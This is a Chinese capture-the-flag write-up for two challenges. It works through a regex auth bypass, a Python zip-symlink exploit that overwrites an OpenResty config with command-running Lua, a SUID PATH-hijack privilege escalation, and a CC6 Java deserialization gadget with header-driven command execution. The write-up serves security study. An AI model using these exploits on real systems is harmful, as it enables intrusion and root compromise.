eznginx

源标题不是这个,但是这里只保留了附件
访问根路由,提供了以下 /api

1
2
3
4
5
6
{
"app": "theme-assets",
"preview": "/api/v2/preview/demo/download",
"ops": "/api/v2/preview/admin/sync/job",
"upload": "/api/v2/preview/admin/sync/upload"
}

其中 preview 功能只是摆设,实际并没有实现任何后端逻辑

至于另外两个功能,由于请求的路径会通过 buildAuthCandidate 方法处理检测是否匹配以下正则表达式,该配置在 application.yml

1
auth-pattern: "^/api/v2/preview/[A-Za-z]+.*?/download$"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {  
String requestPath = request.getRequestURI();
if (!requestPath.startsWith("/api/v2/preview/")) {
filterChain.doFilter(request, response);
} else if (this.authPattern.matcher(this.buildAuthCandidate(request)).matches()) {
filterChain.doFilter(request, response);
} else {
response.setStatus(403);
response.getWriter().write("blocked by regex auth");
}
}

private String buildAuthCandidate(HttpServletRequest request) {
String query = request.getQueryString();
return query != null && !query.isEmpty() ? request.getRequestURI() + "?" + query : request.getRequestURI();
}

显然会被 ban,但由于会保留我们的 GET 参数,因此简单构造 ?f=/download 即可绕过

显示了一些配置
对于文件上传,核心实现在 ThemePackageServiceImpl

会检查是否为 .zip 后缀,在 /tmp/ez-nginx/imports 目录下创建一个以 import- 开头的临时目录,重命名为 package.zip 并解压我们的压缩包,最后重新加载 nginx
我们重点看解压缩 extractEntry 方法的逻辑,其中一上来就调用 resolveOutputPath ban 调了 zipslip,防止目录穿越;但是却允许创建软链接:writeSymlink

1
2
3
4
5
6
private void writeSymlink(ZipFile zipFile, ZipArchiveEntry entry, Path outputPath) throws IOException {  
this.createParent(outputPath);
Files.deleteIfExists(outputPath);
String symlinkTarget = this.readSymlinkTarget(zipFile, entry);
Files.createSymbolicLink(outputPath, Paths.get(symlinkTarget));
}

symlinkTarget 是完全可控的,至此我们可以使用 Zip Symlink 在压缩包中创建软链接指向其它路径

1
2
3
4
5
6
7
8
9
10
import zipfile, stat  

def add_symlink(zf, name, target):
info = zipfile.ZipInfo(name)
info.create_system = 3 # Unix
info.external_attr = (stat.S_IFLNK | 0o777) << 16
zf.writestr(info, target)

with zipfile.ZipFile('evil.zip', 'w') as zf:
add_symlink(zf, 'evil_link', '/')


这算是一个步入点,但是我们依旧没办法读文件,不过从响应中的提示不难发现,我们可以结合 Lua 脚本来实现 flag 外带

Lua

从 Dockerfile 文件中也可以看到配置了OpenResty 架构,一般是为了解决 Nginx 配置文件逻辑表达能力不足而存在的脚本语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import zipfile, stat  

conf = """location = /rce {
content_by_lua_block { local handle = io.popen("cat /flag.txt") local result = handle:read("*a") handle:close() ngx.say(result) }}
"""

def add(zf, name, target):
info = zipfile.ZipInfo(name)
info.create_system = 3 # Unix
info.external_attr = (stat.S_IFLNK | 0o777) << 16
zf.writestr(info, target)

with zipfile.ZipFile('evil.zip', 'w') as zf:
add(zf, 'evil_link', '/usr/local/openresty/nginx/conf/snippets')
zf.writestr('evil_link/ez-dynamic.conf', conf)

我们先构建一个软链接指向 /usr/local/openresty/nginx/conf/snippets,再覆盖 ez-dynamic.conf 文件,通过 /rce 路由外带出 flag
不过 flag 被设置了 root 可读,而 nginx 服务并不是 root 启用的;但出题人给我们提供了一个 ops-helper.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>  
#include <unistd.h>

int main(void) {
char *const argv[] = {"service-check", "status", NULL};

if (setgid(0) != 0 || setuid(0) != 0) {
perror("setuid");
return 1;
}
execvp(argv[0], argv);
perror("execvp");
return 1;
}

其中 ops-helper 被设置为 SUID,我们可以在 PATH 中优先目录(设置为 /tmp)放置恶意的 service-check 可执行文件,然后运行 ops-helper,就可以 root 权限执行命令了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import zipfile, stat  

conf = (
"location = /rce {\n"
" content_by_lua_block {\n"
" local f = io.open(\"/tmp/service-check\", \"w\")\n"
" f:write(\"#!/bin/sh\\n\")\n"
" f:write(\"cat /flag.txt > /tmp/flag_out\\n\")\n"
" f:write(\"chmod 777 /tmp/flag_out\\n\")\n"
" f:close()\n"
" io.popen(\"chmod +x /tmp/service-check\"):read(\"*a\")\n"
" io.popen(\"PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /usr/local/bin/ops-helper\"):read(\"*a\")\n"
" local handle = io.open(\"/tmp/flag_out\", \"r\")\n"
" if handle then\n"
" ngx.say(handle:read(\"*a\"))\n"
" handle:close()\n"
" else\n"
" ngx.say(\"flag_out not found\")\n"
" end\n"
" }\n"
"}\n"
)

def add(zf, name, target):
info = zipfile.ZipInfo(name)
info.create_system = 3 # Unix
info.external_attr = (stat.S_IFLNK | 0o777) << 16
zf.writestr(info, target)

with zipfile.ZipFile('evil.zip', 'w') as zf:
add(zf, 'evil_link', '/usr/local/openresty/nginx/conf/snippets')
zf.writestr('evil_link/ez-dynamic.conf', conf)

JavaUnbound

也就是 ezjava 那道题,这是基于 ObjectInputStream.resolveClass 的拦截

直接打 CC6,被 ban 掉的 Runtime.class 可以通过反射调用 Class.forName 方法来获取

1
2
new ConstantTransformer(Class.class),  
new InvokerTransformer("forName", new Class[] { String.class }, new Object[] { "java.lang.Runtime" }),

但这样很难获取回显,除非弹 shell,因此另一种方法是利用 Java Chains 工具,使用 JegGadget 生成回显

通过自定义头 X-Authorization: ls 来传输命令